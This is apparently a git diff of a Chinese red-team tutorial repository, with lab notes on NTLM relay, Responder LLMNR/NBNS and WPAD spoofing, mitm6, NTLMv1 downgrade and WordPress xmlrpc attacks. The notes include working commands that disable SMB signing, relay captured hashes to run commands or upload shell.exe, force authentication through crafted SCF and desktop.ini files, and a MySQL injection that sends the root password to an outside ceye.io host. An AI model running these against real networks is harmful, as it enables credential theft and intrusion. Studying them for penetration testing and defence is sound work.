+这时,客户端就会将未经认证的 UDP 广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者 DNS 中没有的主机名时,通过工具 (responder) 监听 LLMNR 和 NetBIOS 广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与 arp 欺骗类似,我们可以让攻击者作中间人,截获到客户端的 Net-NTLMHash。 + +也就是说 LLMNR 并不需要一个服务器,而是采用广播包的形式,去询问 DNS,如同 ARP 投毒一样的安全问题。 + +而 NetBIOS 协议进行名称解析是发送的 UDP 广播包。因此在没有配置 WINS 服务器的情况底下,LLMNR 协议存在的安全问题,在 NBNS 协议里面同时存在。 + +- [Responder欺骗](./Responder欺骗.md) + +## WPAD 劫持 + +wpad 全称是 Web Proxy Auto-Discovery Protocol ,通过让浏览器自动发现代理服务器,定位代理配置文件 PAC(在下文也叫做 PAC 文件或者 wpad.dat),下载编译并运行,最终自动使用代理访问网络。 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/13.png) + +默认自动检测设置是开启的。 + +WPAD 网络代理自动发现协议是一种客户端使用 DCHP、DNS、LLMNR、NBNS 协议来定位一个代理配置文件 (PAC)URL 的方法。WPAD 通过让浏览器自动发现代理服务器,查找存放 PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。 + +用户在访问网页时,首先会查询 PAC 文件的位置,然后获取 PAC 文件,将 PAC 文件作为代理配置文件。 + +查询 PAC 文件的顺序如下: +1. 通过 DHCP 服务器 +2. 查询 WPAD 主机的 IP + - Hosts + - DNS (cache / server) + - LLMNR + - NBNS + +### 配合 LLMNR/NBNS 投毒 + +一个典型的劫持方式是利用 LLMNR/NBNS 欺骗来让受害者从攻击者获取 PAC 文件,PAC 文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的 HTTP 流量,在其中插入任意 HTML 标签从而获得用户的 Net-NTLMHash。 + +当你的浏览器设置为 “自动检测代理设置” 的情况下,它就会下载攻击者事先准备好的 wpad.dat 文件,这样一来,客户端的流量就会经过攻击者的机器。 + +受害者通过 llmnr 询问 wpad 主机在哪里,Responder 通过 llmnr 投毒将 wpad 的 ip 指向 Responder 所在的服务器 + +Responder 可以创建一个假 WPAD 服务器,并响应客户端的 WPAD 名称解析。 然后客户端请求这个假 WPAD 服务器的 wpad.dat 文件。 + +受害者访问 WPAD/wpad.dat,Responder 就能获取到用户的 net-ntlm hash(这个 Responder 默认不开,因为害怕会有登录提醒,不利于后面的中间人攻击,可以加上 - F 开启) + +- [Responder欺骗](./Responder欺骗.md#wpad) + +微软在 2016 年发布了 MS16-077 安全公告,添加了两个重要的保护措施,以缓解这类攻击行为 +1. 系统再也无法通过广播协议来解析 WPAD 文件的位置,只能通过使用 DHCP 或 DNS 协议完成该任务。 +2. 更改了 PAC 文件下载的默认行为,以便当 WinHTTP 请求 PAC 文件时,不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。 + +### 配合 DHCPv6 + +MS16-077 以后更改了 PAC 文件下载的默认行为,以便当 WinHTTP 请求 PAC 文件时,不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。 + +在访问 pac 文件的时候,我们没办法获取到用户的 net-ntlm hash。但默认 responder 不开启,要手动加 - F 选项才能开启。我们可以给用户返回一个正常的 wpad。将代理指向我们自己,然后我们作为中间人。这个时候可以做的事就很多了。比如插入 xss payload 获取 net-ntlm hash,中间人获取 post,cookie 等参数,通过 basic 认证进行钓鱼,诱导下载 exe 等等。可以配合 LLMNR/NBNS 投毒。 + +给用户返回一个正常的 wpad。将代理指向我们自己,当受害主机连接到我们的 “代理” 服务器时,我们可以通过 HTTP CONNECT 动作、或者 GET 请求所对应的完整 URI 路径来识别这个过程,然后回复 HTTP 407 错误(需要代理身份验证),这与 401 不同,IE/Edge 以及 Chrome 浏览器(使用的是 IE 设置)会自动与代理服务器进行身份认证,即使在最新版本的 Windows 系统上也是如此。在 Firefox 中,用户可以配置这个选项,该选项默认处于启用状态。 + +在 MS16-077 之后,通过 DHCP 和 DNS 协议还可以获取到 pac 文件。 + +DHCP 和 DNS 都有指定的服务器,不是通过广播包,而且 dhcp 服务器和 dns 服务器我们是不可控的,没法进行投毒。而从 Windows Vista 以来,所有的 Windows 系统(包括服务器版系统)都会启用 IPv6 网络,并且其优先级要高于 IPv4 网络。 + +DHCPv6 协议中,客户端通过向组播地址发送 Solicit 报文来定位 DHCPv6 服务器,组播地址 `[ff02::1:2]` 包括整个地址链路范围内的所有 DHCPv6 服务器和中继代理。DHCPv6 四步交互过程,客户端向 `[ff02::1:2]` 组播地址发送一个 Solicit 请求报文,DHCP 服务器或中继代理回应 Advertise 消息告知客户端。客户端选择优先级最高的服务器并发送 Request 信息请求分配地址或其他配置信息,最后服务器回复包含确认地址,委托前缀和配置(如可用的 DNS 或 NTP 服务器)的 Relay 消息。通俗点来说就是,在可以使用 ipv6 的情况(Windows Vista 以后默认开启), 攻击者能接收到其他机器的 dhcpv6 组播包的情况下,攻击者最后可以让受害者的 DNS 设置为攻击者的 IPv6 地址。 + +可以利用 Fox-IT 公开的工具进行攻击 + +**相关文章** +- [mitm6 – compromising IPv4 networks via IPv6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/) + - [mitm6:通过IPv6攻破IPv4网络](https://www.anquanke.com/post/id/94689) + +**mitm6** +- https://github.com/fox-it/mitm6 + ```bash + pip install mitm6 + + # 或 + https://github.com/fox-it/mitm6.git + cd mitm6 + pip install -r requirements.txt + python setup.py install + ``` + +``` +mitm6 -d test.local +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/14.png) + +``` +impacket-ntlmrelayx -6 -wh test.local -t smb://192.168.141.129 -l ~/tmp/ -socks -debug +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/15.png) + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/16.png) + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/17.png) + +--- + +# 利用 + +## SMB中继 + +SMB 中继是最直接最有效的方法。可以直接控制该服务器 (包括但不限于在远程服务器上执行命令、上传 exe 到远程主机上执行、dump 服务器的用户 hash 等等)。 + +中继的前提是目标 SMB 签名需要关闭,在 SMB 连接中,需要使用安全机制来保护服务器和客户端之间传输数据的完整性,而这种安全机制就是 SMB 签名和加密,如果关闭 SMB 签名,会允许攻击者拦截认证过程,并且将获得 hash 在其他机器上进行重放,从而获得权限。 + +**工作组** + +在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码 Hash 只是保存在自己的 SAM 文件中,这个时候 Relay 到别的机器,除非两台机器的账号密码一样,不然没有别的意义了.但如果账号密码一样,不如直接 pth。 + +这个时候的攻击手段就是将机器 reflect 回机子本身。因此微软在 ms08-068 中对 smb reflect 到 smb 做了限制,防止了同一主机从 SMB 协议向 SMB 协议的 Net-NTLMhash relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。 + +自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用 Responder 结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用 SMB 签名。但是除了个别的例外,所有的 Windows 操作系统都默认关闭了 SMB 签名。 + +**域** + +域环境底下域用户的账号密码 Hash 保存在域控的 ntds.dit 里面。如下没有限制域用户登录到某台机子,那就可以将该域用户 Relay 到别人的机子,或者是拿到域控的请求,将域控 Relay 到普通的机子,比如域管运维所在的机子。 + +- 域普通用户 != 中继 +- 域管 == 中继 +- 域普通用户+域管理员组 == 中继 + +## 签名 + +一般情况下,域控会默认开启,而 Windows 单机默认都不会开 + +关闭 SMB 签名验证的命令: Windows Server 系列中 RequireSecuritySignature 子键默认值为 1 +``` +reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f +``` + +用 responder 工具包里面的 RunFinger.py 脚本扫描域内机器的 SMB 签名的开放情况 +``` +cd /usr/share/responder/tools +python RunFinger.py -i 192.168.141.0/24 +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/1.png) + +可以看到除了域控 130,域内主机的 SMB 签名都已禁用(false)了 + +也可以用 nmap +``` +nmap --script smb-security-mode,smb-os-discovery.nse -p445 192.168.141.0/24 --open +``` + +--- + +## responder MultiRelay + +利用 MultiRelay.py 攻击,获得目标主机的 shell: +``` +python3 MultiRelay.py -t <被攻击ip> -u ALL +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/2.png) + +现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下 responder 的配置文件Responder.conf,不让其对 hash 进行抓取。将 SMB 和 HTTP 的 On 改为 Off: +``` +vim /usr/share/responder/Responder.conf + +SMB=Off +HTTP=Off +``` + +重启 Responder.py,准备毒化(这里 responder 的作用就是当访问一个不存在的共享路径,将称解析降到 LLMNR/NBNS 时,来抓取网络中所有的 LLMNR 和 NetBIOS 请求并进行响应) +``` +responder -I eth0 +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/3.png) + +在 DC(192.168.141.130)上随便传递一个 SMB 流量 +``` +net use \\whoami +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/4.png) + +可以看到已经拿到了目标机器的 shell + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/5.png) + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/6.png) + +--- + +## Impacket smbrelayx + +``` +impacket-smbrelayx -h <被攻击ip> -c whoami +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/8.png) + +让任意主机访问这个攻击者精心构造好的 SMB 服务器: +``` +net use \\ +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/7.png) + +此时,攻击者的 smbrelayx 脚本上就会发现命令成功执行了 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/9.png) + +``` +impacket-smbrelayx -h <被攻击ip> -e shell.exe +``` +用 -e 选项会在目标主机上传并运行我们的 payload + +--- + +## Metasploit smb_relay(08-068) + +当拿到用户的 smb 请求之后,最直接的就是把请求 Relay 回用户本身,即 Reflect。从而控制机子本身。漏洞危害特别高。 + +然而微软在 ms08-068 中对 smb reflect 到 smb 做了限制,防止了同一主机从 SMB 协议向 SMB 协议的 Net-NTLMhash relay。防止凭据重播的做法如下: + +主机 A 向主机 B(访问 \\B) 进行 SMB 认证的时候,将 pszTargetName 设置为 cifs/B, 然后在 type 2 拿到主机 B 发送 Challenge 之后,在 lsass 里面缓存 (Challenge,cifs/B)。 + +然后主机 B 在拿到主机 A 的 type 3 之后,会去 lsass 里面有没有缓存 (Challenge,cifs/b),如果存在缓存,那么认证失败。 + +这种情况底下,如果主机 B 和主机 A 是不同的主机的话,那 lsass 里面就不会缓存 (Challenge,cifs/B)。如果是同一台主机的话,那 lsass 里面肯定有缓存,这个时候就会认证失败。 + +这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。 + +``` +use exploit/windows/smb/smb_relay +run +``` + +在目标的 cmd 中执行 `net use \\\c$` 来访问攻击者搭建的恶意 smb 服务 + +--- + +## Impcaket ntlmrelayx + +ntlmrelayx 脚本可以直接用现有的 hash 去尝试重放指定的机器 +``` +impacket-ntlmrelayx -t smb://<被攻击ip> -c whoami -smb2support +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/10.png) + +诱导域管理员或普通域用户访问攻击机搭建的伪造 HTTP 或 SMB 服务,并输入用户名密码: + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/11.png) + +攻击者的 ntlmrelayx 上面即可显示成功在目标上执行命令 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/NTLM中继/12.png) diff --git "a/1earn/Security/RedTeam/OS\345\256\211\345\205\250/\345\256\236\351\252\214/Responder\346\254\272\351\252\227.md" "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/\345\256\236\351\252\214/Responder\346\254\272\351\252\227.md" new file mode 100644 index 00000000..a18cd34d --- /dev/null +++ "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/\345\256\236\351\252\214/Responder\346\254\272\351\252\227.md" @@ -0,0 +1,323 @@ +# Responder欺骗 + +--- + +## 免责声明 + +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` + +--- + +windows 基于 NTLM 认证的有 SMB、HTTP、LDAP、MSSQL 等,responder 可以通过模拟正常的 SMB 协议从而获得受害机器的 NTLMV2 hash 值,NTLM v2 不能直接应用于 Pass The Hash 攻击,只能通过暴力破解来获取明文密码。而攻击者获取 NTLMv1 hash 后,可以直接还原出 NTLM HASH,这样的话就可以将 NTLM HASH 直接用于 Pass The Hash 攻击,相较于 NTLM v2 还需要破解才能利用更加不安全。 + +LLMNR、NBNS、mdns 协议在 windows 中都是默认启用的,主要作用都是在 DNS 服务器解析失败后,尝试对 windows 主机名称进行解析,正因为默认启用、且实现方式又类似于 ARP 协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而 Responder 正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。 + +例如当域内 win10 主机在 ping 一个不存在的主机名时,会按照下列流程尝试解析(win10 和 win7 有不同表现): +``` +1. 查看本地 hosts 文件 +2. 查找 DNS 缓存,windows 可使用命令 ipconfig/displaydns 查看 +3. DNS 服务器 +4. 尝试 LLMNR、NBNS 和 MDNS 协议进行解析 +``` + +win10 主机 ping hello-world + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/1.png) + +在 DNS 解析失败后,会通过 LLMNR、MDNS 和 NBNS 再次尝试进行解析,LLMNR 和 MDNS 分别向 224.0.0.252、224.0.0.251 两个 IPV4 多播地址进行广播,而 NBNS 则是向广播地址进行广播。 + +**相关文章** +- [Windows环境中使用Responder获取NTLMv2哈希并利用](https://www.freebuf.com/articles/system/194549.html) +- [攻防最前线:一封邮件就能捕获你的口令散列值](https://www.secrss.com/articles/8143) +- [Steal_NTLMv2_hash_using_File_Download_vulnerability](https://github.com/incredibleindishell/Windows-AD-environment-related/blob/master/Steal_NTLMv2_hash_using_File_Download_vulnerability/README.md) - 任意文件下载漏洞配合 Responder 毒化 +- [内网渗透之Responder攻防(上)](https://www.freebuf.com/articles/network/256844.html) +- [内网渗透之Responder攻防(下)](https://www.freebuf.com/articles/network/265246.html) +- [域内窃取哈希一些技术](https://mp.weixin.qq.com/s/y1ehsvJEBkZ-qynNrOlAuA) + +--- + +# Responder获取hash值 + +工具地址 : [lgandx/Responder](https://github.com/lgandx/Responder) + +Reponder 的主要作用其实就是 “协议欺骗”+“模拟服务”,先通过 NBNS、LLMNR 或 MDNS 协议进行欺骗,将流量转到本机,再通过服务交互来获取 hash 值 + +```bash +# kali 自带 +responder -I eth0 -rPv +``` + +## 通过命令获取hash并破解 + +在 windows7 上尝试使用 net use 访问一个不存在的主机名。 +``` +net use \\what\2 +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/2.png) + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/3.png) + +可以看到,在受害机器输入命令后,responder 已经获取到了受害机器的 NTLM V2 hash 值,由于 SMB 会尝试多次认证,所以会捕捉到多次 hash 值,在 responder 上获取到的 hash 都会保存在 `/usr/share/responder/logs/` 文件夹下,且会根据 IP、协议进行命名。 + +获取 hash 值之后,我们尝试使用 kali 自带的 hashcat 对这段 hash 进行暴力破解 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/4.png) + +可以看到跑出了弱口令 Abcd1234 + +下列命令都可以使 responder 获得 NTLV V2 hash。 +```bash +net.exe use \hostshare +attrib.exe \hostshare +cacls.exe \hostshare +certreq.exe \hostshare #(noisy, pops an error dialog) +certutil.exe \hostshare +cipher.exe \hostshare +ClipUp.exe -l \hostshare +cmdl32.exe \hostshare +cmstp.exe /s \hostshare +colorcpl.exe \hostshare #(noisy, pops an error dialog) +comp.exe /N=0 \hostshare \hostshare +compact.exe \hostshare +control.exe \hostshare +convertvhd.exe -source \hostshare -destination \hostshare +Defrag.exe \hostshare +diskperf.exe \hostshare +dispdiag.exe -out \hostshare +doskey.exe /MACROFILE=\hostshare +esentutl.exe /k \hostshare +expand.exe \hostshare +extrac32.exe \hostshare +FileHistory.exe \hostshare #(noisy, pops a gui) +findstr.exe * \hostshare +fontview.exe \hostshare #(noisy, pops an error dialog) +fvenotify.exe \hostshare #(noisy, pops an access denied error) +FXSCOVER.exe \hostshare #(noisy, pops GUI) +hwrcomp.exe -check \hostshare +hwrreg.exe \hostshare +icacls.exe \hostshare +licensingdiag.exe -cab \hostshare +lodctr.exe \hostshare +lpksetup.exe /p \hostshare /s +makecab.exe \hostshare +msiexec.exe /update \hostshare /quiet +msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog) +mspaint.exe \hostshare #(noisy, invalid path to png error) +msra.exe /openfile \hostshare #(noisy, error) +mstsc.exe \hostshare #(noisy, error) +netcfg.exe -l \hostshare -c p -i foo +``` + +**MySQL** + +在 MySQL 注入的话,可以通过带外通信把数据带出来 +``` +SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.xxx.ceye.io\\abc')); +``` +需要具备 loadfile 权限,且没有 securefile_priv 的限制 (5.5.53 默认是空,之后的话默认为 NULL 就不好利用了, 不排除一些管理员会改) + +LOAD_FILE 是支持 UNC 路劲,构造 +``` +select load_file('\\\\\\mysql'); +``` + +**mssql** + +或者配合 mssql +``` +xp_dirtree "\\\aaa.com" +``` + +## 通过文件获取hash + +**图标** + +可以通过图标资源来代替代 net use 这条命令,比如我们可以创建一个文件夹 test,并在 test 下再创建一个文件夹如 test2,通过给 test2 设置其他图标,能在 test2 文件夹下生成一个隐藏的系统文件 desktop.ini,而通过修改设置可以使 desktop.ini 可见,最后编辑这个文件,将图标资源指向一个不存在的主机,打开 test 文件夹之后即可获取 hash 值。 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/5.png) + +此时 desktop.ini 文件已生成,需要修改配置使 desktop.ini 文件, 将原本的 IconResource 路径修改,改为如下格式后保存即可 +``` +IconResource=\\hello-world\test\SHELL32.dll,2 +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/6.png) + +当其打开这个 test 文件夹的时候,受害主机就会去请求图标资源 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/7.png) + +**SCF文件** + +我们可以使用 SCF(Shell 命令文件)文件执行有限的一组操作(例如显示 Windows 桌面或打开 Windows 资源管理器)。但是,如果使用 SCF 文件访问特定的 UNC 路径,那么我们可以发起攻击。 + +我们可以所有以下代码保存为. scf 文件然后放进文件共享中。 + +``` +[Shell] +Command=2 +IconFile=\\X.X.X.X\share\aaa.ico +[Taskbar] +Command=ToggleDesktop +``` + +保存为 .scf 文件放在文件共享中 + +当用户浏览共享时,将自动从他的系统建立到 SCF 文件中包含的 UNC 路径的连接。Windows 将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的 8 字节质询密钥,并使用此质询密钥再次加密散列的 NTLM / LANMAN 密码。我们将捕获 NTLMv2 哈希。 + +**头像** + +适用于 Windows 10/2016/2019 + +在更改账户图片处,用普通用户的权限指定一个 webadv 地址的图片,如果普通用户验证图片通过,那么 SYSTEM 用户 (域内是机器用户) 也去访问指定的主机,并且携带凭据,我们就可以拿到机器用户的 net-ntlm hash,这个可以用来提权。 + +**outlook** + +发送邮件支持 html,outlook 里面的图片加载路径支持 UNC,构造 payload + +``` + +``` + +**office** + +新建一个 word,添加一张图片 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/15.png) + +然后用 7zip 打开,进入 `word\_rels`,修改 `document.xml.rels` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/16.png) + +Target 参数修改为 UNC 路径,然后加上 `TargetMode="External"` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/17.png) + +打开 word 时,触发 NTLM 请求 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/18.png) + +## 通过 web 漏洞 + +**xxe** + +在 xxe 里面加载外部文件的时候,如果路径支持 unc 路径的话,是能拿到 net-ntlm hash 的。 + +如果不支持 UNC,可再测试 http 协议。 + +**ssrf** + +在 ssrf 里面如果支持 file 协议,并且 file 协议能加载远程资源的话,是能拿到 net-ntlm hash 的。 + +当只支持 HTTP 协议的时候,也是可能打回 net-ntlm hash 的。 + +## 通过错误域名获取hash + +Responder 还有通过 http 协议来骗取 hash 值的功能,由于 win7 默认会尝试通过 LLMNR、NBNS 协议解析域名,那么 win7 输入错误域名后会被欺骗并解析到 kali,随后 responder 会要求 NTLM 认证,受害机器就会发送 hash 值。 + +需要交互获取 hash 值,进行下测试,开启 responder、win7 打开 ie 浏览器访问一个不存在的域名 + +chrome 在开启 WPAD 设置时也会默认被欺骗(默认开启),firefox不会有这个问题 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/9.png) + +在 Windows 机器上 :打开文件浏览器,连接 file:////xxxxxx/test.htlm (或者任意文件名); + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/8.png) + +## 其他 + +**打印机** + +Windows 的 MS-RPRN 协议用于打印客户机和打印服务器之间的通信,默认情况下是启用的。协议定义的 RpcRemoteFindFirstPrinterChangeNotificationEx() 调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。 + +任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过 Kerberos 或 NTLM 进行验证)。另外微软表示这个 bug 是系统设计特点,无需修复。 + +- **krbrelayx** + - [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx) + ``` + python3 printerbug.py 域/用户名:密码@打印机服务ip 回连ip + ``` + +--- + +# 加密降级攻击(或使用 Internal-Monologue) + +在实际情况中,NTLMv1 hash 也是存在于 winserver 2003、windows xp 上,而在 win7 上是默认关闭的,我们可以通过修改注册表的方式,使 win7 支持 NTLM V1 认证. + +由于 NTLM V1 认证过程的特殊性,非常容易被破解并还原出 NTLM HASH,为破解 NTLMv1 hash,我们还需要做一些准备,在 “欺骗阶段”,所以我们需要将 challenge 固定下来,得出特定 challenge 的 NTLMv1 hash,方便后续破解 + +这里手动在目标机器上降级 +``` +reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f +reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f +reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f +``` + +修改 responder 配置文件,这里我们需要修改 responder.conf 里边的 challenge 值为 `1122334455667788`,然后再次开启 responder(注意加上 --lm 参数),此时收到的 NTLMv1 hash 就可以直接破解并还原出 NTLM HASH。 +``` +vim /usr/share/responder/Responder.conf +``` + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/10.png) + +开启 responder,启动参数加上 --lm, 不加这个参数就是并不是完全用的 server challenge,这就导致了生成的彩虹表不能使用,破解难度增加,得出 hash 的叫 NTLMv1-SSP Hash。 +``` +responder -I eth0 --lm +``` + +win7 执行命令 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/11.png) + +可以直接用 https://crack.sh/netntlm/ 秒破,当然 hashcat 也可以爆破试试 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/12.png) + +**为什么能破解 NTLMv1 hash?** + +windows 将 NTLM Hash 后面补 5 个字节 0,共 21 字节。 + +将步骤 1 处理后的 NTLM Hash 分成 3 组 7 字节,每 7 个比特后面添加 1 比特 0,组成 3 个 8 字节的 DES 密钥。 + +使用得到的 3 个密钥,分别对 8 字节的 challenge 进行 3DES 加密获得三组 8 字节密文,然后拼接共组成 24 字节的密文,这样就得到了 NTLMv1 hash。 + +知道了其加密方式之后,由于 challenge 是固定的,所以可以建立从 key 到 response 的彩虹表,并在知道 response 的情况下获取 key,破解跟机器的密码强度没有关系,且成功率几乎为 100%。 + +--- + +# WPAD + +``` +responder -I eth0 -r on -v -F on -w on +``` + +Responder 通过伪造如下 pac 文件将代理指向 ISAProxySrv:3141 +``` +function FindProxyForURL(url, host){ + if ((host == "localhost") + || shExpMatch(host, "localhost.*") + ||(host == "127.0.0.1") + || isPlainHostName(host)) return "DIRECT"; + if (dnsDomainIs(host, "RespProxySrv") + ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) + return "DIRECT"; + return 'PROXY ISAProxySrv:3141; DIRECT';} +``` + +受害者会使用 ISAProxySrv:3141 作为代理,但是受害者不知道 ISAProxySrv 对应的 ip 是什么,所以会再次查询,Responder 再次通过 llmnr 投毒进行欺骗。将 ISAProxySrv 指向 Responder 本身。然后开始中间人攻击。 + +Responder 创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/13.png) + +没有安全意识的话就会写入在域中使用的用户名和密码。最后,我们可以看到他们的 Net-NTLM Hash。 + +![](../../../../../assets/img/Security/RedTeam/OS安全/实验/Responder欺骗/14.png) + +--- + +# 防御手段 + +- [Secure-Win](../../../../Integrated/Windows/Secure-Win.md#防御responder欺骗) diff --git "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/BS-Exploits.md" "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/BS-Exploits.md" index 41a75354..af96a47b 100644 --- "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/BS-Exploits.md" +++ "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/BS-Exploits.md" @@ -45,6 +45,8 @@ * [Axis](#axis) * [CAS](#cas) * [Cocoon](#cocoon) + * [Druid](#druid) + * [Apache_Druid](#apache_druid) * [Dubbo](#dubbo) * [ElasticSearch](#elasticsearch) * [Flink](#flink) @@ -192,6 +194,13 @@ > 官网 : https://www.drupal.org/ +**Tips** + +对'/node/$'进行Fuzz,其中'$'是一个数字(从1到500)。⽐如说:"/node/$"。 +- https://target.com/node/1 +- https://target.com/node/2 +- https://target.com/node/3 + **CVE-2014-3704 “Drupalgeddon” SQL 注入漏洞** - 简介 @@ -462,7 +471,7 @@ FastAdmin 是一款基于 ThinkPHP5+Bootstrap 开发的极速后台开发框架 > 项目地址 : https://github.com/zoujingli/ThinkAdmin -**ThinkAdminV6 任意文件操作** +**ThinkAdminV6 任意文件操作 CVE-2020-25540** - 文章 - [ThinkAdminV6 未授权访问and 任意文件查看 漏洞复现](https://blog.csdn.net/Adminxe/article/details/108744912) @@ -647,6 +656,55 @@ WordPress 是一个开源的内容管理系统(CMS),允许用户构建动态网 ``` - [WPScan使用完整教程之记一次对WordPress的渗透过程](https://xz.aliyun.com/t/2794) +**xmlrpc.php** + +- [xmlrpc.php 漏洞利用](https://blog.csdn.net/u012206617/article/details/109002948) +- 查看系统允许的方法 + ``` + POST /wordpress/xmlrpc.php HTTP/1.1 + Host: www.example.com + Content-Length: 99 + + + system.listMethods + + + ``` + +- 账号爆破 + + 一般情况下,wordpress 的管理后台都会设置账号登录失败次数限制,因此,可以通过 xmlprc.php 接口来进行爆破。通常会使用 wp.getUserBlogs、wp.getCategories 和 metaWeblog.getUsersBlogs 这个方法来进行爆破,也可以使用其他的方法。 + ``` + POST /wordpress/xmlrpc.php HTTP/1.1 + Host: www.example.com + Content-Length: 99 + + + wp.getUsersBlogs + + admin + password + + + ``` + +- SSRF + + WordPress 版本 <3.5.1, 通过 Pingback 可以实现的服务器端请求伪造 (Server-side request forgery,SSRF) 和远程端口扫描。 + ``` + POST /wordpress/xmlrpc.php HTTP/1.1 + Host: www.example.com + Content-Length: 99 + + + pingback.ping + + 要探测的ip和端口:http://127.0.0.1:80 + 网站上一篇博客的URL:http://localhost/wordpress/?p=1) + + + ``` + **WordPress 后台拿 SHELL** - 后台编辑404页面Getshell @@ -907,7 +965,7 @@ data: loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&lan /file/fileNoLogin/xxxxxxxxxxxxxxxxx ``` - 参考安识科技A-Team利用方法,https://mp.weixin.qq.com/s/Y_2_e7HIWH3z5jhMsK7pZA + 参考安识科技 A-Team 利用方法,https://mp.weixin.qq.com/s/Y_2_e7HIWH3z5jhMsK7pZA ``` 参数不填写绝对路径写进文本内容就是当前的目录,产生了一个新的漏洞 “目录遍历” /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txt @@ -1248,6 +1306,38 @@ Axis 是一个开源的基于 XML 的 Web 服务架构。它包含了 Java 和 C --- +## Druid + +### Apache_Druid + +> 官网 : https://druid.apache.org/ + +Apache Druid 是用 Java 编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。 + +**CVE-2021-25646** +- 简介 + + Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。 + +- 